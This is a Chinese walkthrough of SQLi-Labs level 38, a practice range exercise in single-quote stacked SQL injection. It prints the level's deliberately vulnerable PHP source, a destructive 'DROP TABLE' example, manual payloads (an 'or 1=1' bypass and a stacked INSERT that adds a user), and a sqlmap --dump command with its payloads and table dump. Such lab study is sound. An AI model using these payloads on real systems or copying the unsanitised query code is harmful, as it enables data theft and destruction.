sqli-labs通关笔记-第38关 GET字符型堆叠注入(单引号闭合 手工注入+脚本注入两种方法)
目录
一、堆叠注入
二、源码分析
1、代码审计
2、SQL注入安全性分析
三、手注注入
1、进入靶场
2、万能注入
3、堆叠注入
4、查看数据库
四、sqlmap渗透
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第38关Less 38基于GET字符型的堆叠注入关卡进行渗透实战。
一、堆叠注入
堆叠注入是一种特殊的SQL注入技术,攻击者通过在原始查询后添加分号(;),然后拼接额外的SQL语句实现多语句执行。与普通注入不同,堆叠注入允许攻击者一次执行多个完全独立的SQL命令,从而极大扩展了攻击面。这种技术的关键在于数据库服务器支持多语句执行,例如MySQL的mysqli_multi_query()函数或SQL Server的默认配置都允许这种操作。
分类 | 说明 |
---|---|
技术名称 | 堆叠注入(Stacked Injection) |
核心原理 | 通过在原始SQL查询后添加分号(; )拼接额外SQL语句,实现多语句连续执行。 |
攻击示例 | SELECT * FROM users WHERE id=1; DROP TABLE users-- |
关键依赖 | 数据库服务器需支持多语句执行(如MySQL的mysqli_multi_query() )。 |
典型危害 | 数据删除(DELETE )、表结构修改(ALTER )、权限提升(GRANT )等。 |
高危操作 | 执行任意数据库命令,远超普通注入的数据泄露范围。 |
常见支持场景 | SQL Server(默认支持)、MySQL(需特定驱动如PDO/mysqli启用多语句功能)。 |
不支持场景 | PHP的mysql_query() 函数(默认禁用多语句)。 |
防御措施 | 1. 禁用多语句执行功能 2. 严格使用参数化查询 3. 实施最小权限原则。 |
技术优势 | 可突破单语句限制,实现更复杂的数据库操作。 |
检测难度 | 较普通注入更难检测,需监控异常分号和多语句执行行为。 |
二、源码分析
1、代码审计
本关卡Less38是基于GET字符型的堆叠注入关卡,打开对应的源码index.php,如下所示。
Less38关卡的源码功能是简单基于id的查询页面,详细注释过的源码如下所示。
<?php
// 关闭错误报告,避免泄露敏感信息
error_reporting(0);// 包含数据库连接凭据文件
include("../sql-connections/db-creds.inc");
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-38 **stacked Query**</title>
</head><body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">
Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
// 检查是否接收到id参数
if(isset($_GET['id']))
{// 获取用户输入的id参数$id=$_GET['id'];// 记录用户输入到日志文件(安全审计用)$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);/*** 数据库连接部分 ***/// 使用mysqli扩展建立连接(支持堆叠查询)$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);// 检查连接是否成功if (mysqli_connect_errno($con1)){echo "Failed to connect to MySQL: " . mysqli_connect_error();}else{// 选择数据库,错误时终止脚本@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");}/*** 存在安全风险的SQL查询部分 ***/// 直接拼接用户输入到SQL语句中(SQL注入风险根源)$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";/*** 执行堆叠查询 ***/// 使用mysqli_multi_query执行可能的多条SQL语句if (mysqli_multi_query($con1, $sql)){// 获取第一个查询结果集if ($result = mysqli_store_result($con1)){// 如果有数据返回,显示用户名和密码if($row = mysqli_fetch_row($result)){echo '<font size = "5" color= "#00FF00">'; printf("Your Username is : %s", $row[1]);echo "<br>";printf("Your Password is : %s", $row[2]);echo "<br>";echo "</font>";}}// 检查是否有更多结果集(堆叠查询的特征)if (mysqli_more_results($con1)){// 可以在这里处理额外的查询结果}}else {// 查询出错时显示错误信息echo '<font size="5" color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>"; }// 关闭数据库连接mysqli_close($con1);
}
else { // 没有接收到id参数时的提示echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-38.jpg" /></center>
</body>
</html>
本关卡主要功能是通过GET参数id查询并显示用户信息,具体处理逻辑如下所示。
-
接收用户输入的id参数直接拼接到SQL语句
-
使用mysqli_multi_query()执行查询,允许通过分号执行多条SQL语句
-
查询成功时显示用户名和密码,失败则显示错误信息
-
所有用户输入会被记录到result.txt日志文件
2、SQL注入安全性分析
很明显本关卡存在堆叠查询(Stacked Query)SQL注入风险,如下所示。
-
堆叠注入存在根源:
-
使用
mysqli_multi_query()
函数执行SQL查询。 -
未对用户输入的
$id
进行任何过滤或转义。
-
-
堆叠注入利用方式:
-
通过分号(;)分隔可以执行多条SQL语句。
-
攻击者可执行任意SQL命令:
SELECT...; INSERT...; UPDATE...; DROP...
等。 -
支持所有数据库操作,不仅仅是数据查询。
-
三、手注注入
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page3堆叠注入,如下图红框所示。
其中第38关在堆叠挑战关卡“SQLi-LABS Page-3 (Stacked Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap
点击上图红框的Less38关卡,进入到靶场的第38关卡字符型堆叠注入关卡,页面提示“Please input the ID as parameter with numeric value”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-38
2、万能注入
本关卡闭合方式为单引号,使用id=-1' or 1=1 --+进行注入,URL如下所示。
http://192.168.59.1/sqli-labs/Less-38/?id=-1' or 1=1--+
渗透成功,获取到用户名和密码,如下所示。
3、堆叠注入
根据源码分析可知本关卡具有堆叠注入安全风险,闭合方式为单引号,故而堆叠注入命令插入一个新的用户,id为38,用户名为mooyuan_38,密码为mooyuan,如下所示。
http://192.168.59.1/sqli-labs/Less-38/index.php?id=1';insert into users(id,username,password) values ('38','mooyuan_38','mooyuan')%23
4、查看数据库
使用navicat查看数据库的users表,如下所示新增用户id为38,用户名为mooyuan_38,密码为mooyuan,说明渗透成功。
四、sqlmap渗透
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -u http://192.168.59.1/sqli-labs/Less-38/id=1 --current-db --dump --batch
sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注4种方法渗透成功,具体信息如下所示。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 6672=6672 AND 'anqT'='anqTType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x7170766271,(SELECT (ELT(2653=2653,1))),0x716b6b7a71),2653) AND 'Zbuo'='ZbuoType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 5651 FROM (SELECT(SLEEP(5)))rzQc) AND 'ruFx'='ruFxType: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-6194' UNION ALL SELECT NULL,CONCAT(0x7170766271,0x566550736e436e7848566b576676506e6c6e716e6c74424b504651425a57786949534c75716d6d6b,0x716b6b7a71),NULL-- -
---
[20:49:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[20:49:23] [INFO] fetching current database
current database: 'security'Table: emails
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+